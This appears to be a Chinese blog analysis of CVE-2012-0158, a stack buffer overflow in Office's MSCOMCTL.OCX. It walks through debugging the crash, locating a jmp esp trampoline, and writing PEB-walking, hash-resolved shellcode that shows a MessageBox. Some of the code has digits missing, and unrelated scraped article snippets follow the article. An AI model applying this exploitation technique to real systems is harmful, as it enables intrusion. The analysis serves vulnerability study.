4 CVE-2012-0158 漏洞分析
操作系统:Windows7 32位 专业版
Office:2003sp3_20120218.exe
工具:OD和IDA
1.漏洞的本质:程序编写时未对内存拷贝函数的长度参数进行足够严谨的验证,造成的堆栈缓冲区溢出。
2漏洞分析:
1.获取poc:
网络下载
2.漏洞复现
安装office2003 sp3
直接运行poc样本,观察程序的运行状态,通过Windows反馈信息可知,此漏洞是典型的栈溢出型漏洞。
使用OD进行附加:
因为栈的结构如下图,所以通过对poc栈分析,下部的栈已经被破坏,上部的栈是程序出现问题的运势状态。
向上栈回述找到如下地址:
重新进行附加,对此函数进行分析,定位漏洞产生的位置:
在此时函数所在的模块,通过OD快捷键:Alt+E查找对应模块
将MSCOMCTL.OCX加载进IDA,对call MSCOMCTL.275C876D漏洞产生函数分析:
由上可知此漏洞的产生,是因为对栈检测时没有设定上限导致的,所以漏洞的修补就是对是否进行内存拷贝的判断时,小于判断即可
通过对OD动态调试:
通过对poc进行010分析,因为poc是需要对漏洞进行利用,而275C876D是漏洞产生的函数,静态分析可知,第三个参数是申请的内存空间的大小,根据ShellCode的编写需要内存空间进行存储,所以,直接在poc的010中搜索8282,即可定位到自定义缓冲区位置
3漏洞利用:
Shellcode:
1. 在运行的程序中寻找跳板指令地址:
Jmp esp
使用 ImmunityDebugger+mona.py
!mona modules
因为此模块位系统模块且各种保护位false
选择可读可执行的 jmp esp 地址:0x729a0535
2. 编写通用ShellCode的思路:
以简单的MessageBox为例:
1.获取Kernel32.dll 基地址
2.获取GetProcAddress 函数地址
3.获取LoadLibraryExA 函数地址
4.调用LoadLibraryExA 获取user32.dll基地址
5.调用GetProcAddress 获取MessageBoxA 函数地址
6.传参调用MessageBoxA
7.调用GetProcAddress,获取ExitProcess函数地址
8.传参调用ExitProcess
为缩短ShellCode的通过获取API Hash值进行匹对完成
/* 通过对APIHASH值的匹对行进获取 */
DWORD GetHash(char *fun_name)
{
DWORD digest = ;
while (*fun_name)
{
digest = ((digest << ) | (digest >> )); // 实现了digest的循环右移7位(或循环左移25位)
digest += *fun_name;
fun_name++;
}
return digest;
}
int main()
{
_asm
{
// 将所要使用的函数的hash值入栈
cld // 清空标志位DF
push 0x1e380a6a // MessageBoxA的Hash值
push 0x4fd18963 // ExitProcess的Hash值
push 0x0c917432 // LoadLibraryA的Hash值
mov esi, esp // 令esi指向栈顶位置,此时指向堆栈中存放的LoadLibrary
lea edi, [esi - 0xc]// 后面利用edi的值来调用不同的函数 // 开辟栈空间
xor ebx, ebx // ebx置0
mov bh, 0x04 // 此时ebx为0x400
sub esp, ebx // 开辟0x400大小的空间 // 压入“user32.dll”
mov bx, 0x3233 // 0x3和0x2 倒叙存储
push ebx // 入栈
push 0x72657375 // “user”入栈
push esp
xor edx, edx // edx置0 // 查找kernel32.dll的基地址
mov ebx, fs:[edx + 0x30] // [TEB+0x30]是PEB的位置
mov ecx, [ebx + 0xc] // [PEB+0xc]是PEB_LDR_DATA的位置
mov ecx, [ecx + 0x1c] // [PEB_LDR_DATA+0x1c]是InInitializationOrderModuleList
mov ecx, [ecx] // 进入链表第一个就是ntdll.dll
mov ebp, [ecx + 0x8] // ebp保存的是Kernel32.dll的基地址 find_lib_function :
lodsd
cmp eax, 0x1e380a6a // 与MessageBoxA的Hash值进行比较
jne find_functions // 如果不相等,继续查找
xchg eax, ebp
call[edi - 0x8]
xchg eax, ebp // 在PE文件中查找相应的API函数
find_functions :
pushad // 保护所有寄存器中的内容
mov eax, [ebp + 0x30] // PE头
mov ecx, [ebp + eax + 0x78]// 导出表的指针
add ecx, ebp
mov ebx, [ecx + 0x20] // 导出函数的名字列表
add ebx, ebp
xor edi, edi // edi置0 // 循环读取导出表函数
next_function_loop :
inc edi // edi不断自增,作为索引
mov esi, [ebx + edi*] // 从列表数组中读取
add esi, ebp // esi保存的是函数名所在的地址
cdq // 把edx的每一个位置成eax的最高位,再把edx扩展位eax的高位,变成64位 // hash值的计算
hash_loop :
movsx eax, byte ptr[esi] // 每次取出一个字符放入eax中
cmp al, ah // 验证eax是否为0x0,即结束符
jz compare_hash // 如果上述结果为0,说明hash值计算完毕进行hash比对
ror edx, // 如果cmp的结果不为0,则进行循环右移7为的操作
add edx, eax // 将循环右移的值不断累加
inc esi // esi自增,用于读取下一个字符
jmp hash_loop // 跳转到hash_loop的位置继续计算 // hash值的比较
compare_hash :
cmp edx, [esp + 0x1c] // 与LoadLibraryA的hash值进行比较
jnz next_function_loop // 如果比较不成功,继续寻找导出表的下一个函数
mov ebx, [ecx + 0x24]
add ebx, ebp
mov di, [ebx + * edi]
mov ebx, [ecx + 0x1c]
add ebx, ebp
add ebp, [ebx + * edi]
xchg eax, ebp
pop edi
push edi
popad // 还原所有寄存器内容
cmp eax, 0x1e380a6a // 与MessageBoxA的Hash值进行比较 // 主函数内容,用于显示对话框
function_call:
xor ebx, ebx
sub esp, 0x50
xor ebx, ebx
push ebx // cut string
push 0x48656c6c // push "hell"
mov eax, esp
push ebx // cut string
push 0x576f726c // push "worl"
mov ecx, esp push ebx
push eax
push ecx
push ebx
mov eax, 0x77d507ea
call eax // call MessageBox
push ebx
mov eax, 0x7c81cafa
call eax // call ExitProcess
}
return ;
}
4总结:
1. 栈数据被当成代码执行
2. 想要通用的shellcode就需要动态获取kernel32.dll,解析kernel32.dll的导出表获取API
3. 漏洞的利用:覆盖函数返回地址,jmp esp跳转
4. 从编程角度理解思考漏洞的成因并防范
4 CVE-2012-0158 漏洞分析的更多相关文章
- 漏洞分析:CVE 2021-3156
漏洞分析:CVE 2021-3156 漏洞简述 漏洞名称:sudo堆溢出本地提权 漏洞编号:CVE-2021-3156 漏洞类型:堆溢出 漏洞影响:本地提权 利用难度:较高 基础权限:需要普通用户权限 ...
- 看个AV也中招之cve-2010-2553漏洞分析
试想:某一天,你的基友给你了一个视频文件,号称是陈老师拍的苍老师的老师题材的最新电影.avi,你满心欢喜,在确定文件格式确实为avi格式后,愉快的脱下裤子准备欣赏,打开后却发现什么也没有,而随后你的基 ...
- Java反序列化漏洞分析
相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...
- CVE-2014-1767 漏洞分析(2015.1)
CVE-2014-1767 漏洞分析 1. 简介 该漏洞是由于Windows的afd.sys驱动在对系统内存的管理操作中,存在着悬垂指针的问题.在特定情况下攻击者可以通过该悬垂指针造成内存的doubl ...
- FFmpeg任意文件读取漏洞分析
这次的漏洞实际上与之前曝出的一个 CVE 非常之类似,可以说是旧瓶装新酒,老树开新花. 之前漏洞的一篇分析文章: SSRF 和本地文件泄露(CVE-2016-1897/8)http://static. ...
- CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用
作者:栈长@蚂蚁金服巴斯光年安全实验室 -------- 1. 背景 FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器.转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具 ...
- [转帖]Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626)
Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626) ADLab2019-03-15共23605人围观 ,发现 4 个不明物体安全报告漏洞 https://www.f ...
- Elasticsearch 核心插件Kibana 本地文件包含漏洞分析(CVE-2018-17246)
不久前Elasticsearch发布了最新安全公告, Elasticsearch Kibana 6.4.3之前版本和5.6.13之前版本中的Console插件存在严重的本地文件包含漏洞可导致拒绝服务攻 ...
- ThinkCMF X2.2.2多处SQL注入漏洞分析
1. 漏洞描述 ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架,其中X系列基于ThinkPHP 3.2.3开发,最后更新到2.2.2版本.最近刚好在渗透测试 ...
- CVE-2010-3971 CSS内存破坏漏洞分析
看了仙果版主的议题演讲,其中提到cve-2010-3971是一个浏览器漏洞利用中的里程碑.于是找来POC,尝试分析一下. 1.漏洞重现 XP SP3+ie6.0环境 poc如下: poc.htm &l ...
随机推荐
- 去掉没用的参数的warning
#define UNUSED(x) ((void)(x)) void fun(int noused_arg, int b){ UNUSED(noused_arg); printf("%d\n ...
- Lnmp架构部署动态网站环境.2019-7-3-1.2
Nginx安装 一.安装准备 Pcre(Perl Compatible Regular Expressions,兼容正则表达式)安装pcre库是为了使Nginx支持HTTP Rewrite模块. 安装 ...
- Matplotlib Date Index Formatter 日期索引格式化学习
官方网站:https://matplotlib.org/gallery/ticks_and_spines/date_index_formatter2.html#sphx-glr-gallery-tic ...
- requests---requests发送xml数据类型
上一篇简单的介绍了post常见的4种数据类型,今天我们一起学习通过requests发送xml数据类型 xml数据类型 下方数据为xml数据,我们就通过这段数据学习如果通过requests发送xml数据 ...
- python将xml文件数据增强(labelimg)
在处理faster-rcnn和yolo时笔者使用labelimg标注图片 但是我们只截取了大概800张左右的图,这个量级在训练时肯定是不够的,所以我们需要使用数据增强(无非是旋转加噪调量度)来增加我们 ...
- idea多模块项目打开RunDashBoard(十)
在使用spring cloud微服务时,多个服务可以以多个独立子模块(module)的形式放在一个project里面,当服务过多时,一个个启动往往不是很方便,idea有一个贴心的RunDashBoar ...
- zz自动驾驶多传感器感知的探索
案例教学,把“问题”讲清楚了,赞 Pony.ai 在多传感器感知上积累了很多的经验,尤其是今年年初在卡车上开始了新的尝试.我们有不同的传感器配置,以及不同的场景,对多传感器融合的一些新的挑战,有了更深 ...
- luoguP4774 [NOI2018]屠龙勇士
题意 考虑杀每只龙\(i\)时候用的剑是一定的,我们可以用multiset模拟一遍得到,设为\(b_i\). 发现我们要求一个\(x\)满足对每个\(i\)有:\(b_i*x\equiv a_i\pm ...
- vue组件通信传值——Vuex
一.Vuex介绍 Vuex 是一个专为 Vue.js 应用程序开发的状态管理模式.它采用集中式存储管理应用的所有组件的状态,并以相应的规则保证状态以一种可预测的方式发生变化. Vuex 也集成到 Vu ...
- USACO19JAN Gold题解
噩梦的回忆.. 上周日在机房打的模拟赛,结果十分惨烈,就最后一题yy出了正解结果玄学的只拿了80 考试结果:0+0+80=80 订正时对着T3打了2hours结果还是90 订正结果:100+100+9 ...